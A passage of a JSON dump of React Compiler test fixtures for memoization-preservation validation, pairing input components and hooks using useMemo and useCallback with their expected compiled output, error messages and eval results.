    "content": "// @flow @validatePreserveExistingMemoizationGuarantees\nimport {identity} from 'shared-runtime';\n\ncomponent Component(disableLocalRef, ref) {\n  const localRef = useFooRef();\n  const mergedRef = useMemo(() => {\n    return disableLocalRef ? ref : identity(ref, localRef);\n  }, [disableLocalRef, ref, localRef]);\n  return <div ref={mergedRef} />;\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/error.validate-useMemo-named-function.expect.md",
    "content": "\n## Input\n\n```javascript\n// @validatePreserveExistingMemoizationGuarantees\n\n// We technically do not need to bailout here if we can check\n// `someHelper`'s reactive deps are a subset of depslist from\n// source. This check is somewhat incompatible with our current\n// representation of manual memoization in HIR, so we bail out\n// for now.\nfunction Component(props) {\n  const x = useMemo(someHelper, []);\n  return x;\n}\n\n```\n\n\n## Error\n\n```\nFound 1 error:\n\nError: Expected the first argument to be an inline function expression\n\nExpected the first argument to be an inline function expression.\n\nerror.validate-useMemo-named-function.ts:9:20\n   7 | // for now.\n   8 | function Component(props) {\n>  9 |   const x = useMemo(someHelper, []);\n     |                     ^^^^^^^^^^ Expected the first argument to be an inline function expression\n  10 |   return x;\n  11 | }\n  12 |\n```\n          \n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/error.validate-useMemo-named-function.js",
    "content": "// @validatePreserveExistingMemoizationGuarantees\n\n// We technically do not need to bailout here if we can check\n// `someHelper`'s reactive deps are a subset of depslist from\n// source. This check is somewhat incompatible with our current\n// representation of manual memoization in HIR, so we bail out\n// for now.\nfunction Component(props) {\n  const x = useMemo(someHelper, []);\n  return x;\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/maybe-invalid-useMemo-no-memoblock-sideeffect.expect.md",
    "content": "\n## Input\n\n```javascript\n// @validatePreserveExistingMemoizationGuarantees\n\nimport {useMemo} from 'react';\n\n// This is currently considered valid because we don't ensure that every\n// instruction within manual memoization gets assigned to a reactive scope\n// (i.e. inferred non-mutable or non-escaping values don't get memoized)\nfunction useFoo({minWidth, styles, setStyles}) {\n  useMemo(() => {\n    if (styles.width > minWidth) {\n      setStyles(styles);\n    }\n  }, [styles, minWidth, setStyles]);\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: useFoo,\n  params: [{minWidth: 2, styles: {width: 1}, setStyles: () => {}}],\n};\n\n```\n\n## Code\n\n```javascript\n// @validatePreserveExistingMemoizationGuarantees\n\nimport { useMemo } from \"react\";\n\n// This is currently considered valid because we don't ensure that every\n// instruction within manual memoization gets assigned to a reactive scope\n// (i.e. inferred non-mutable or non-escaping values don't get memoized)\nfunction useFoo(t0) {\n  const { minWidth, styles, setStyles } = t0;\n\n  if (styles.width > minWidth) {\n    setStyles(styles);\n  }\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: useFoo,\n  params: [{ minWidth: 2, styles: { width: 1 }, setStyles: () => {} }],\n};\n\n```\n      \n### Eval output\n(kind: ok) "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/maybe-invalid-useMemo-no-memoblock-sideeffect.ts",
    "content": "// @validatePreserveExistingMemoizationGuarantees\n\nimport {useMemo} from 'react';\n\n// This is currently considered valid because we don't ensure that every\n// instruction within manual memoization gets assigned to a reactive scope\n// (i.e. inferred non-mutable or non-escaping values don't get memoized)\nfunction useFoo({minWidth, styles, setStyles}) {\n  useMemo(() => {\n    if (styles.width > minWidth) {\n      setStyles(styles);\n    }\n  }, [styles, minWidth, setStyles]);\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: useFoo,\n  params: [{minWidth: 2, styles: {width: 1}, setStyles: () => {}}],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/preserve-use-callback-stable-built-ins.expect.md",
    "content": "\n## Input\n\n```javascript\n// @validatePreserveExistingMemoizationGuarantees\nimport {\n  useCallback,\n  useTransition,\n  useState,\n  useOptimistic,\n  useActionState,\n  useRef,\n  useReducer,\n} from 'react';\n\nfunction useFoo() {\n  const [s, setState] = useState();\n  const ref = useRef(null);\n  const [t, startTransition] = useTransition();\n  const [u, addOptimistic] = useOptimistic();\n  const [v, dispatch] = useReducer(() => {}, null);\n  const [isPending, dispatchAction] = useActionState(() => {}, null);\n\n  return useCallback(() => {\n    dispatch();\n    startTransition(() => {});\n    addOptimistic();\n    setState(null);\n    dispatchAction();\n    ref.current = true;\n  }, []);\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: useFoo,\n  params: [],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\"; // @validatePreserveExistingMemoizationGuarantees\nimport {\n  useCallback,\n  useTransition,\n  useState,\n  useOptimistic,\n  useActionState,\n  useRef,\n  useReducer,\n} from \"react\";\n\nfunction useFoo() {\n  const $ = _c(1);\n  const [, setState] = useState();\n  const ref = useRef(null);\n  const [, startTransition] = useTransition();\n  const [, addOptimistic] = useOptimistic();\n  const [, dispatch] = useReducer(_temp, null);\n  const [, dispatchAction] = useActionState(_temp2, null);\n  let t0;\n  if ($[0] === Symbol.for(\"react.memo_cache_sentinel\")) {\n    t0 = () => {\n      dispatch();\n      startTransition(_temp3);\n      addOptimistic();\n      setState(null);\n      dispatchAction();\n      ref.current = true;\n    };\n    $[0] = t0;\n  } else {\n    t0 = $[0];\n  }\n  return t0;\n}\nfunction _temp3() {}\nfunction _temp2() {}\nfunction _temp() {}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: useFoo,\n  params: [],\n};\n\n```\n      \n### Eval output\n(kind: ok) \"[[ function params=0 ]]\""
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/preserve-use-callback-stable-built-ins.ts",
    "content": "// @validatePreserveExistingMemoizationGuarantees\nimport {\n  useCallback,\n  useTransition,\n  useState,\n  useOptimistic,\n  useActionState,\n  useRef,\n  useReducer,\n} from 'react';\n\nfunction useFoo() {\n  const [s, setState] = useState();\n  const ref = useRef(null);\n  const [t, startTransition] = useTransition();\n  const [u, addOptimistic] = useOptimistic();\n  const [v, dispatch] = useReducer(() => {}, null);\n  const [isPending, dispatchAction] = useActionState(() => {}, null);\n\n  return useCallback(() => {\n    dispatch();\n    startTransition(() => {});\n    addOptimistic();\n    setState(null);\n    dispatchAction();\n    ref.current = true;\n  }, []);\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: useFoo,\n  params: [],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/preserve-use-memo-ref-missing-ok.expect.md",
    "content": "\n## Input\n\n```javascript\n// @validatePreserveExistingMemoizationGuarantees\nimport {useCallback, useRef} from 'react';\n\nfunction useFoo() {\n  const ref = useRef<undefined | (() => undefined)>();\n\n  return useCallback(() => {\n    if (ref != null) {\n      ref.current();\n    }\n  }, []);\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: useFoo,\n  params: [],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\"; // @validatePreserveExistingMemoizationGuarantees\nimport { useCallback, useRef } from \"react\";\n\nfunction useFoo() {\n  const $ = _c(1);\n  const ref = useRef();\n  let t0;\n  if ($[0] === Symbol.for(\"react.memo_cache_sentinel\")) {\n    t0 = () => {\n      if (ref != null) {\n        ref.current();\n      }\n    };\n    $[0] = t0;\n  } else {\n    t0 = $[0];\n  }\n  return t0;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: useFoo,\n  params: [],\n};\n\n```\n      \n### Eval output\n(kind: ok) \"[[ function params=0 ]]\""
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/preserve-use-memo-ref-missing-ok.ts",
    "content": "// @validatePreserveExistingMemoizationGuarantees\nimport {useCallback, useRef} from 'react';\n\nfunction useFoo() {\n  const ref = useRef<undefined | (() => undefined)>();\n\n  return useCallback(() => {\n    if (ref != null) {\n      ref.current();\n    }\n  }, []);\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: useFoo,\n  params: [],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/preserve-use-memo-transition.expect.md",
    "content": "\n## Input\n\n```javascript\n// @validatePreserveExistingMemoizationGuarantees\nimport {useCallback, useTransition} from 'react';\n\nfunction useFoo() {\n  const [t, start] = useTransition();\n\n  return useCallback(() => {\n    start();\n  }, []);\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: useFoo,\n  params: [],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\"; // @validatePreserveExistingMemoizationGuarantees\nimport { useCallback, useTransition } from \"react\";\n\nfunction useFoo() {\n  const $ = _c(1);\n  const [, start] = useTransition();\n  let t0;\n  if ($[0] === Symbol.for(\"react.memo_cache_sentinel\")) {\n    t0 = () => {\n      start();\n    };\n    $[0] = t0;\n  } else {\n    t0 = $[0];\n  }\n  return t0;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: useFoo,\n  params: [],\n};\n\n```\n      \n### Eval output\n(kind: ok) \"[[ function params=0 ]]\""
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/preserve-use-memo-transition.ts",
    "content": "// @validatePreserveExistingMemoizationGuarantees\nimport {useCallback, useTransition} from 'react';\n\nfunction useFoo() {\n  const [t, start] = useTransition();\n\n  return useCallback(() => {\n    start();\n  }, []);\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: useFoo,\n  params: [],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/prune-nonescaping-useMemo-mult-returns-primitive.expect.md",
    "content": "\n## Input\n\n```javascript\n// @validatePreserveExistingMemoizationGuarantees\n\nimport {useMemo} from 'react';\nimport {identity} from 'shared-runtime';\n\nfunction useFoo(cond) {\n  useMemo(() => {\n    if (cond) {\n      return 2;\n    } else {\n      return identity(5);\n    }\n  }, [cond]);\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: useFoo,\n  params: [true],\n};\n\n```\n\n## Code\n\n```javascript\n// @validatePreserveExistingMemoizationGuarantees\n\nimport { useMemo } from \"react\";\nimport { identity } from \"shared-runtime\";\n\nfunction useFoo(cond) {\n  let t0;\n  if (cond) {\n    t0 = 2;\n  } else {\n    t0 = identity(5);\n  }\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: useFoo,\n  params: [true],\n};\n\n```\n      \n### Eval output\n(kind: ok) "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/prune-nonescaping-useMemo-mult-returns-primitive.ts",
    "content": "// @validatePreserveExistingMemoizationGuarantees\n\nimport {useMemo} from 'react';\nimport {identity} from 'shared-runtime';\n\nfunction useFoo(cond) {\n  useMemo(() => {\n    if (cond) {\n      return 2;\n    } else {\n      return identity(5);\n    }\n  }, [cond]);\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: useFoo,\n  params: [true],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/prune-nonescaping-useMemo-mult-returns.expect.md",
    "content": "\n## Input\n\n```javascript\n// @validatePreserveExistingMemoizationGuarantees\n\nimport {useMemo} from 'react';\nimport {identity} from 'shared-runtime';\n\nfunction useFoo(cond) {\n  useMemo(() => {\n    if (cond) {\n      return identity(10);\n    } else {\n      return identity(5);\n    }\n  }, [cond]);\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: useFoo,\n  params: [true],\n};\n\n```\n\n## Code\n\n```javascript\n// @validatePreserveExistingMemoizationGuarantees\n\nimport { useMemo } from \"react\";\nimport { identity } from \"shared-runtime\";\n\nfunction useFoo(cond) {\n  let t0;\n  if (cond) {\n    t0 = identity(10);\n  } else {\n    t0 = identity(5);\n  }\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: useFoo,\n  params: [true],\n};\n\n```\n      \n### Eval output\n(kind: ok) "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/prune-nonescaping-useMemo-mult-returns.ts",
    "content": "// @validatePreserveExistingMemoizationGuarantees\n\nimport {useMemo} from 'react';\nimport {identity} from 'shared-runtime';\n\nfunction useFoo(cond) {\n  useMemo(() => {\n    if (cond) {\n      return identity(10);\n    } else {\n      return identity(5);\n    }\n  }, [cond]);\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: useFoo,\n  params: [true],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/prune-nonescaping-useMemo.expect.md",
    "content": "\n## Input\n\n```javascript\n// @validatePreserveExistingMemoizationGuarantees\n\nimport {useMemo} from 'react';\nimport {identity} from 'shared-runtime';\n\n/**\n * This is technically a false positive, although it makes sense\n * to bailout as source code might be doing something sketchy.\n */\nfunction useFoo(x) {\n  useMemo(() => identity(x), [x]);\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: useFoo,\n  params: [2],\n};\n\n```\n\n## Code\n\n```javascript\n// @validatePreserveExistingMemoizationGuarantees\n\nimport { useMemo } from \"react\";\nimport { identity } from \"shared-runtime\";\n\n/**\n * This is technically a false positive, although it makes sense\n * to bailout as source code might be doing something sketchy.\n */\nfunction useFoo(x) {}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: useFoo,\n  params: [2],\n};\n\n```\n      \n### Eval output\n(kind: ok) "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/prune-nonescaping-useMemo.ts",
    "content": "// @validatePreserveExistingMemoizationGuarantees\n\nimport {useMemo} from 'react';\nimport {identity} from 'shared-runtime';\n\n/**\n * This is technically a false positive, although it makes sense\n * to bailout as source code might be doing something sketchy.\n */\nfunction useFoo(x) {\n  useMemo(() => identity(x), [x]);\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: useFoo,\n  params: [2],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/repro-maybe-invalid-useCallback-read-maybeRef.expect.md",
    "content": "\n## Input\n\n```javascript\n// @validatePreserveExistingMemoizationGuarantees\nimport {useCallback} from 'react';\n\nfunction useHook(maybeRef) {\n  return useCallback(() => {\n    return [maybeRef.current];\n  }, [maybeRef]);\n}\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\"; // @validatePreserveExistingMemoizationGuarantees\nimport { useCallback } from \"react\";\n\nfunction useHook(maybeRef) {\n  const $ = _c(2);\n  let t0;\n  if ($[0] !== maybeRef) {\n    t0 = () => [maybeRef.current];\n    $[0] = maybeRef;\n    $[1] = t0;\n  } else {\n    t0 = $[1];\n  }\n  return t0;\n}\n\n```\n      \n### Eval output\n(kind: exception) Fixture not implemented"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/repro-maybe-invalid-useCallback-read-maybeRef.ts",
    "content": "// @validatePreserveExistingMemoizationGuarantees\nimport {useCallback} from 'react';\n\nfunction useHook(maybeRef) {\n  return useCallback(() => {\n    return [maybeRef.current];\n  }, [maybeRef]);\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/repro-maybe-invalid-useMemo-read-maybeRef.expect.md",
    "content": "\n## Input\n\n```javascript\n// @validatePreserveExistingMemoizationGuarantees @validateExhaustiveMemoizationDependencies:false\nimport {useMemo} from 'react';\n\nfunction useHook(maybeRef, shouldRead) {\n  return useMemo(() => {\n    return () => [maybeRef.current];\n  }, [shouldRead, maybeRef]);\n}\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\"; // @validatePreserveExistingMemoizationGuarantees @validateExhaustiveMemoizationDependencies:false\nimport { useMemo } from \"react\";\n\nfunction useHook(maybeRef, shouldRead) {\n  const $ = _c(2);\n  let t0;\n  if ($[0] !== maybeRef) {\n    t0 = () => [maybeRef.current];\n    $[0] = maybeRef;\n    $[1] = t0;\n  } else {\n    t0 = $[1];\n  }\n  return t0;\n}\n\n```\n      \n### Eval output\n(kind: exception) Fixture not implemented"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/repro-maybe-invalid-useMemo-read-maybeRef.ts",
    "content": "// @validatePreserveExistingMemoizationGuarantees @validateExhaustiveMemoizationDependencies:false\nimport {useMemo} from 'react';\n\nfunction useHook(maybeRef, shouldRead) {\n  return useMemo(() => {\n    return () => [maybeRef.current];\n  }, [shouldRead, maybeRef]);\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/todo-ensure-constant-prop-decls-get-removed.expect.md",
    "content": "\n## Input\n\n```javascript\n// @validatePreserveExistingMemoizationGuarantees @validateExhaustiveMemoizationDependencies:false\n\nimport {useMemo} from 'react';\n\n// Todo: we currently only generate a `constVal` declaration when\n// validatePreserveExistingMemoizationGuarantees is enabled, as the\n// StartMemoize instruction uses `constVal`.\n// Fix is to rewrite StartMemoize instructions to remove constant\n// propagated values\nfunction useFoo() {\n  const constVal = 0;\n\n  return useMemo(() => [constVal], [constVal]);\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: useFoo,\n  params: [{}],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\"; // @validatePreserveExistingMemoizationGuarantees @validateExhaustiveMemoizationDependencies:false\n\nimport { useMemo } from \"react\";\n\n// Todo: we currently only generate a `constVal` declaration when\n// validatePreserveExistingMemoizationGuarantees is enabled, as the\n// StartMemoize instruction uses `constVal`.\n// Fix is to rewrite StartMemoize instructions to remove constant\n// propagated values\nfunction useFoo() {\n  const $ = _c(1);\n  const constVal = 0;\n  let t0;\n  if ($[0] === Symbol.for(\"react.memo_cache_sentinel\")) {\n    t0 = [0];\n    $[0] = t0;\n  } else {\n    t0 = $[0];\n  }\n  return t0;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: useFoo,\n  params: [{}],\n};\n\n```\n      \n### Eval output\n(kind: ok) [0]"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/todo-ensure-constant-prop-decls-get-removed.ts",
    "content": "// @validatePreserveExistingMemoizationGuarantees @validateExhaustiveMemoizationDependencies:false\n\nimport {useMemo} from 'react';\n\n// Todo: we currently only generate a `constVal` declaration when\n// validatePreserveExistingMemoizationGuarantees is enabled, as the\n// StartMemoize instruction uses `constVal`.\n// Fix is to rewrite StartMemoize instructions to remove constant\n// propagated values\nfunction useFoo() {\n  const constVal = 0;\n\n  return useMemo(() => [constVal], [constVal]);\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: useFoo,\n  params: [{}],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/useCallback-alias-property-load-dep.expect.md",
    "content": "\n## Input\n\n```javascript\n// @validatePreserveExistingMemoizationGuarantees\nimport {useCallback} from 'react';\nimport {sum} from 'shared-runtime';\n\nfunction Component({propA, propB}) {\n  const x = propB.x.y;\n  return useCallback(() => {\n    return sum(propA.x, x);\n  }, [propA.x, x]);\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{propA: {x: 2}, propB: {x: {y: 3}}}],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\"; // @validatePreserveExistingMemoizationGuarantees\nimport { useCallback } from \"react\";\nimport { sum } from \"shared-runtime\";\n\nfunction Component(t0) {\n  const $ = _c(3);\n  const { propA, propB } = t0;\n  const x = propB.x.y;\n  let t1;\n  if ($[0] !== propA.x || $[1] !== x) {\n    t1 = () => sum(propA.x, x);\n    $[0] = propA.x;\n    $[1] = x;\n    $[2] = t1;\n  } else {\n    t1 = $[2];\n  }\n  return t1;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{ propA: { x: 2 }, propB: { x: { y: 3 } } }],\n};\n\n```\n      \n### Eval output\n(kind: ok) \"[[ function params=0 ]]\""
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/useCallback-alias-property-load-dep.ts",
    "content": "// @validatePreserveExistingMemoizationGuarantees\nimport {useCallback} from 'react';\nimport {sum} from 'shared-runtime';\n\nfunction Component({propA, propB}) {\n  const x = propB.x.y;\n  return useCallback(() => {\n    return sum(propA.x, x);\n  }, [propA.x, x]);\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{propA: {x: 2}, propB: {x: {y: 3}}}],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/useCallback-captures-reassigned-context-property.expect.md",
    "content": "\n## Input\n\n```javascript\n// @validatePreserveExistingMemoizationGuarantees\nimport {useCallback} from 'react';\nimport {Stringify} from 'shared-runtime';\n\n/**\n * TODO: we're currently bailing out because `contextVar` is a context variable\n * and not recorded into the PropagateScopeDeps LoadLocal / PropertyLoad\n * sidemap. Previously, we were able to avoid this as `BuildHIR` hoisted\n * `LoadContext` and `PropertyLoad` instructions into the outer function, which\n * we took as eligible dependencies.\n *\n * One solution is to simply record `LoadContext` identifiers into the\n * temporaries sidemap when the instruction occurs *after* the context\n * variable's mutable range.\n */\nfunction Foo(props) {\n  let contextVar;\n  if (props.cond) {\n    contextVar = {val: 2};\n  } else {\n    contextVar = {};\n  }\n\n  const cb = useCallback(() => [contextVar.val], [contextVar.val]);\n\n  return <Stringify cb={cb} shouldInvokeFns={true} />;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Foo,\n  params: [{cond: true}],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\"; // @validatePreserveExistingMemoizationGuarantees\nimport { useCallback } from \"react\";\nimport { Stringify } from \"shared-runtime\";\n\n/**\n * TODO: we're currently bailing out because `contextVar` is a context variable\n * and not recorded into the PropagateScopeDeps LoadLocal / PropertyLoad\n * sidemap. Previously, we were able to avoid this as `BuildHIR` hoisted\n * `LoadContext` and `PropertyLoad` instructions into the outer function, which\n * we took as eligible dependencies.\n *\n * One solution is to simply record `LoadContext` identifiers into the\n * temporaries sidemap when the instruction occurs *after* the context\n * variable's mutable range.\n */\nfunction Foo(props) {\n  const $ = _c(6);\n  let contextVar;\n  if ($[0] !== props.cond) {\n    if (props.cond) {\n      contextVar = { val: 2 };\n    } else {\n      contextVar = {};\n    }\n    $[0] = props.cond;\n    $[1] = contextVar;\n  } else {\n    contextVar = $[1];\n  }\n  let t0;\n  if ($[2] !== contextVar.val) {\n    t0 = () => [contextVar.val];\n    $[2] = contextVar.val;\n    $[3] = t0;\n  } else {\n    t0 = $[3];\n  }\n  contextVar;\n  const cb = t0;\n  let t1;\n  if ($[4] !== cb) {\n    t1 = <Stringify cb={cb} shouldInvokeFns={true} />;\n    $[4] = cb;\n    $[5] = t1;\n  } else {\n    t1 = $[5];\n  }\n  return t1;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Foo,\n  params: [{ cond: true }],\n};\n\n```\n      \n### Eval output\n(kind: ok) <div>{\"cb\":{\"kind\":\"Function\",\"result\":[2]},\"shouldInvokeFns\":true}</div>"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/useCallback-captures-reassigned-context-property.tsx",
    "content": "// @validatePreserveExistingMemoizationGuarantees\nimport {useCallback} from 'react';\nimport {Stringify} from 'shared-runtime';\n\n/**\n * TODO: we're currently bailing out because `contextVar` is a context variable\n * and not recorded into the PropagateScopeDeps LoadLocal / PropertyLoad\n * sidemap. Previously, we were able to avoid this as `BuildHIR` hoisted\n * `LoadContext` and `PropertyLoad` instructions into the outer function, which\n * we took as eligible dependencies.\n *\n * One solution is to simply record `LoadContext` identifiers into the\n * temporaries sidemap when the instruction occurs *after* the context\n * variable's mutable range.\n */\nfunction Foo(props) {\n  let contextVar;\n  if (props.cond) {\n    contextVar = {val: 2};\n  } else {\n    contextVar = {};\n  }\n\n  const cb = useCallback(() => [contextVar.val], [contextVar.val]);\n\n  return <Stringify cb={cb} shouldInvokeFns={true} />;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Foo,\n  params: [{cond: true}],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/useCallback-captures-reassigned-context.expect.md",
    "content": "\n## Input\n\n```javascript\n// @validatePreserveExistingMemoizationGuarantees\n\nimport {useCallback} from 'react';\nimport {makeArray} from 'shared-runtime';\n\n// This case is fine, as all reassignments happen before the useCallback\nfunction Foo(props) {\n  let x = [];\n  x.push(props);\n  x = makeArray();\n\n  const cb = useCallback(() => [x], [x]);\n\n  return cb;\n}\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Foo,\n  params: [{}],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\"; // @validatePreserveExistingMemoizationGuarantees\n\nimport { useCallback } from \"react\";\nimport { makeArray } from \"shared-runtime\";\n\n// This case is fine, as all reassignments happen before the useCallback\nfunction Foo(props) {\n  const $ = _c(4);\n  let x;\n  if ($[0] !== props) {\n    x = [];\n    x.push(props);\n    x = makeArray();\n    $[0] = props;\n    $[1] = x;\n  } else {\n    x = $[1];\n  }\n  let t0;\n  if ($[2] !== x) {\n    t0 = () => [x];\n    $[2] = x;\n    $[3] = t0;\n  } else {\n    t0 = $[3];\n  }\n  x;\n  const cb = t0;\n\n  return cb;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Foo,\n  params: [{}],\n};\n\n```\n      \n### Eval output\n(kind: ok) \"[[ function params=0 ]]\""
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/useCallback-captures-reassigned-context.ts",
    "content": "// @validatePreserveExistingMemoizationGuarantees\n\nimport {useCallback} from 'react';\nimport {makeArray} from 'shared-runtime';\n\n// This case is fine, as all reassignments happen before the useCallback\nfunction Foo(props) {\n  let x = [];\n  x.push(props);\n  x = makeArray();\n\n  const cb = useCallback(() => [x], [x]);\n\n  return cb;\n}\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Foo,\n  params: [{}],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/useCallback-dep-scope-pruned.expect.md",
    "content": "\n## Input\n\n```javascript\n// @validatePreserveExistingMemoizationGuarantees\nimport {useCallback} from 'react';\nimport {identity, useIdentity} from 'shared-runtime';\n\nfunction mutate(_: unknown) {}\n\n/**\n * Repro showing a manual memo whose declaration (useCallback's 1st argument)\n * is memoized, but not its dependency (x). In this case, `x`'s scope is pruned\n * due to hook-call flattening.\n */\nfunction useFoo(a) {\n  const x = identity(a);\n  useIdentity(2);\n  mutate(x);\n\n  return useCallback(() => [x, []], [x]);\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: useFoo,\n  params: [3],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\"; // @validatePreserveExistingMemoizationGuarantees\nimport { useCallback } from \"react\";\nimport { identity, useIdentity } from \"shared-runtime\";\n\nfunction mutate(_) {}\n\n/**\n * Repro showing a manual memo whose declaration (useCallback's 1st argument)\n * is memoized, but not its dependency (x). In this case, `x`'s scope is pruned\n * due to hook-call flattening.\n */\nfunction useFoo(a) {\n  const $ = _c(2);\n  const x = identity(a);\n  useIdentity(2);\n  mutate(x);\n  let t0;\n  if ($[0] !== x) {\n    t0 = () => [x, []];\n    $[0] = x;\n    $[1] = t0;\n  } else {\n    t0 = $[1];\n  }\n  return t0;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: useFoo,\n  params: [3],\n};\n\n```\n      \n### Eval output\n(kind: ok) \"[[ function params=0 ]]\""
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/useCallback-dep-scope-pruned.ts",
    "content": "// @validatePreserveExistingMemoizationGuarantees\nimport {useCallback} from 'react';\nimport {identity, useIdentity} from 'shared-runtime';\n\nfunction mutate(_: unknown) {}\n\n/**\n * Repro showing a manual memo whose declaration (useCallback's 1st argument)\n * is memoized, but not its dependency (x). In this case, `x`'s scope is pruned\n * due to hook-call flattening.\n */\nfunction useFoo(a) {\n  const x = identity(a);\n  useIdentity(2);\n  mutate(x);\n\n  return useCallback(() => [x, []], [x]);\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: useFoo,\n  params: [3],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/useCallback-extended-contextvar-scope.expect.md",
